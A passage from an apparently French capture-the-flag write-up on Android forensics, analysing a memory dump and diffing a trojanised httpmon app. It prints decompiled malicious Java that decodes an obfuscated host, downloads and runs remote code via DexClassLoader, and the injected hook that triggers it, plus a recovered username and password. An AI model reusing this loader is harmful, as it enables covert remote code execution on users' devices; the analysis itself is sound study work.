*/sdcard/Download
in.jpg
*./k
Les fichiers volés ont été copiés dans le dossier /data/data/org.jtb.httpmon/files/a/.
Pour le savoir il faut croiser l'output précédent avec le résultat de la commande dentry :
0|data/org.jtb.httpmon/files/a|789|0|10061|10061|2048|4084386000|4084386008|0|4084386016
0|data/org.jtb.httpmon/files/a/a|0|0|0|0|0|0|0|0
0|data/org.jtb.httpmon/files/a/k|0|0|0|0|0|0|0|0
0|data/org.jtb.httpmon/files/a/p|0|0|0|0|0|0|0|0
Bien que l'on voit un username et password on ne sait pas à quoi ils servent.
Une simple recherche sur ces infos dans le dump mémoire nous donne un extrait plus complet :
Usenet Account information:
Username: kevins
Password: s1mpl!c17y
Account active for 12 months.
Quand au PDF exfiltré il n'y en a pas beaucoup finissant par listing.pdf :
/mnt/sdcard/Download/Application_Whitelisting.pdf

Electronic Sheep (230 points)

Analysis on the malicious application

a) What is the malicious domain and port associated with the malware?
b) What is the existing Class method (Java) that was modified to jump to the malicious code?

Example answer format: [domain.com:1234] [methodName()]
On rentre cette fois dans les détails avec cette dernière question.
On a beau remarquer que le pirate a utilisé netstat (potentiellement plusieurs fois mais vu la structure du heap pas sûr) on ne trouve pas pour autant d'adresses IP dans le dump mémoire :'(

Qui plus est, la commande linux_netstat de Volatility est restée désespérément silencieuse.

La commande linux_route_cache retourne la liste suivante :
Interface        Destination          Gateway
---------------- -------------------- -------
eth0             95.211.162.18        10.0.2.2
eth0             74.125.237.203       10.0.2.2
eth0             74.125.237.202       10.0.2.2
eth0             54.225.150.210       10.0.2.2
eth0             10.0.2.3             10.0.2.3
lo               10.0.2.15            10.0.2.15
lo               0.0.0.0              0.0.0.0
eth0             54.243.82.218        10.0.2.2
eth0             107.22.187.100       10.0.2.2
eth0             74.125.237.170       10.0.2.2
eth0             173.194.79.108       10.0.2.2
eth0             74.125.237.172       10.0.2.2
eth0             107.22.187.100       10.0.2.2
lo               10.0.2.15            10.0.2.15
eth0             74.125.237.171       10.0.2.2
lo               10.0.2.15            10.0.2.15
eth0             74.125.237.204       10.0.2.2
eth0             107.22.211.9         10.0.2.2
eth0             10.0.2.3             10.0.2.3
eth0             173.194.79.109       10.0.2.2
eth0             74.125.237.202       10.0.2.2
lo               10.0.2.15            10.0.2.15
lo               10.0.2.15            10.0.2.15
eth0             74.125.129.109       10.0.2.2
eth0             192.168.43.221       10.0.2.2
lo               10.0.2.15            10.0.2.15
eth0             192.168.43.221       10.0.2.2
eth0             75.101.143.120       10.0.2.2
eth0             74.125.237.203       10.0.2.2
eth0             54.243.77.51         10.0.2.2
eth0             184.73.220.212       10.0.2.2
eth0             184.73.220.212       10.0.2.2
eth0             75.101.143.120       10.0.2.2
eth0             8.8.8.8              10.0.2.2
eth0             107.22.211.9         10.0.2.2
eth0             54.243.77.51         10.0.2.2
eth0             173.194.79.108       10.0.2.2
lo               10.0.2.15            10.0.2.15
lo               10.0.2.15            10.0.2.15
eth0             54.243.82.218        10.0.2.2
lo               10.0.2.15            10.0.2.15
eth0             54.243.43.116        10.0.2.2
eth0             54.225.150.210       10.0.2.2
eth0             74.125.237.172       10.0.2.2
eth0             8.8.8.8              10.0.2.2
lo               10.0.2.15            10.0.2.15
eth0             173.194.79.109       10.0.2.2
eth0             54.243.43.116        10.0.2.2
Après quelques Whois on détermine la répartition suivante :
173.194 => google
74.125 => google
54.* => amazon AWS
107.22 => amazon AWS
75.* => amazon AWS
184. => amazon AWS
95.211.162.18 => LeaseWeb (Pays-Bas)
Ça ne nous dit pas pour autant si le pirate est passé par un relais AWS :(

Mais ce que l'on sait, c'est que la victime a installé un APK qui s'est chargé d'installer un Meterpreter...
Comment le pirate, en dehors de bypasser la signature, a t-il vérolé l'application originale ?
A t-il utilisé un outil comme Ajar ?
D'où venait provenait le Meterpreter s'il n'est pas présent dans le listing donné par unzip ?

Les organisateurs du CySCA s'attendaient visiblement à ce que l'on utilise smali pour faire un deodexing des odex (fichiers dex compressé). Une opération qui nécessite effectivement le dossier framework fournit.

De mon côté j'ai simplement eu recours à dex2jar.
J'ai procédé de la façon suivante :

Dans un premier temps j'ai extrait les deux versions du classes.dex depuis l'APK.
J'ai ensuite converti chaque .dex en .jar via dex2jar :
$ d2j-dex2jar.sh classes.dex
dex2jar classes.dex -> ./classes-dex2jar.jar
Ensuite je décompresse bêtement les deux .jar vers des dossiers différents (v1 et v2).

La commande diff permet de connaître les fichiers modifiés, ajoutés ou supprimés :
$ diff -r v1 v2
Only in v2/org/jtb/httpmon: MonitorService$3.class
Binary files v1/org/jtb/httpmon/MonitorService.class and v2/org/jtb/httpmon/MonitorService.class differ
S'ensuit l'ouverture de la classe MonitorService dans la jar modifié depuis JD-GUI :
public static void checkUpdates(String[] paramArrayOfString)
{
  while (true)
  {
    int i;
    try
    {
      paramArrayOfString = new Socket(new String(Base64.decode("aHR0cG1vbi5hbmRyb2lkc2hhcmUubmV0", 0)), Integer.parseInt(new String(Base64.decode("NDQz", 0))));
      DataInputStream localDataInputStream = new DataInputStream(paramArrayOfString.getInputStream());
      DataOutputStream localDataOutputStream = new DataOutputStream(paramArrayOfString.getOutputStream());
      Object localObject3 = context.getPackageManager().getPackageInfo(context.getPackageName(), 0).versionName;
      Log.w("httpmon", "Software update started for " + (String)localObject3 + ".");
      Object localObject1 = new File(".").getAbsolutePath();
      Object localObject2 = localObject1 + File.separatorChar + "UpdateService.jar";
      String str = localObject1 + File.separatorChar + "UpdateService.dex";
      Object localObject4 = new File(localObject1 + File.separatorChar).listFiles();
      if (localObject4 != null)
      {
        i = 0;
        if (i < localObject4.length);
      }
      else
      {
        localObject4 = new byte[localDataInputStream.readInt()];
        localDataInputStream.readFully((byte[])localObject4);
        localObject4 = new String((byte[])localObject4);
        if (((String)localObject4).contains((CharSequence)localObject3))
          break label531;
        byte[] arrayOfByte = new byte[localDataInputStream.readInt()];
        localDataInputStream.readFully(arrayOfByte);
        localObject3 = new File((String)localObject2);
        if (((File)localObject3).exists())
          continue;
        ((File)localObject3).createNewFile();
        FileOutputStream localFileOutputStream = new FileOutputStream((File)localObject3);
        localFileOutputStream.write(arrayOfByte);
        localFileOutputStream.flush();
        localFileOutputStream.close();
        localObject1 = new DexClassLoader((String)localObject2, (String)localObject1, (String)localObject1, MonitorService.class.getClassLoader()).loadClass((String)localObject4);
        localObject2 = ((Class)localObject1).newInstance();
        ((File)localObject3).delete();
        new File(str).delete();
        ((Class)localObject1).getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, Context.class, [Ljava.lang.String.class }).invoke(localObject2, new Object[] { localDataInputStream, localDataOutputStream, context, new String[0] });
        paramArrayOfString.close();
        ((File)localObject3).delete();
        Log.w("httpmon", "Software updated successfully.");
        Log.w("httpmon", "https://play.google.com/store/apps/details?id=org.jtb.httpmon");
        return;
      }
      if ((!localObject4[i].getAbsolutePath().contains(".jar")) && (!localObject4[i].getAbsolutePath().contains(".dex")))
        break label540;
      localObject4[i].delete();
      break label540;
      ((File)localObject3).delete();
      ((File)localObject3).createNewFile();
      continue;
    }
    catch (Exception paramArrayOfString)
    {
      paramArrayOfString.printStackTrace();
      return;
    }
    label531: Log.w("httpmon", "Software currently up to date.");
    return;
    label540: i += 1;
  }
}
Les chaines base64 trouvées en début nous donnent le Saint Graal :
httpmon.androidshare.net:443
Dans la classe il y a deux méthodes ajoutées par rapport à l'original : updateInit et startAsync.
Un membre context de type Context a aussi été ajouté dans la classe.

Les deux méthodes sont les suivantes :
private void startAsync()
{
  try
  {
    new AsyncTask()
    {
      protected Void doInBackground(Void[] paramAnonymousArrayOfVoid)
      {
        MonitorService.this.updateInit();
        return null;
      }
    }
    .execute(new Void[0]);
    return;
  }
  catch (Exception localException)
  {
    localException.printStackTrace();
  }
}

private void updateInit()
{
  try
  {
    System.setProperty("user.dir", getFilesDir().getAbsolutePath());
    context = this;
    checkUpdates(null);
    return;
  }
  catch (Exception localException)
  {
    localException.printStackTrace();
  }
}
Et la méthode modifiée faisant appel à startAsync :
private boolean isNetworkConnected()
{
  NetworkInfo localNetworkInfo = ((ConnectivityManager)getSystemService("connectivity")).getActiveNetworkInfo();
  if (localNetworkInfo == null)
  {
    Log.d("httpmon", "no active network");
    return false;
  }
  Log.d("httpmon", "active network, type: " + localNetworkInfo.getTypeName());
  if (!localNetworkInfo.isConnected())
  {
    Log.d("httpmon", "network is not connected, state: " + localNetworkInfo.getState());
    return false;
  }
  Log.d("httpmon", "network state is connected");
  startAsync();
  return true;
}
Au passage si on fouille dans le dump à la recherche de ce nom d'hôte :
java.net.ConnectException: failed to connect to httpmon.androidshare.net/192.168.43.221 (port 443): connect failed: ETIMEDOUT (Connection timed out)
Terminé. Restez à l'écoute pour la solution de la partie exploitation ;-)

Classé dans : Non classé - Mots clés : aucun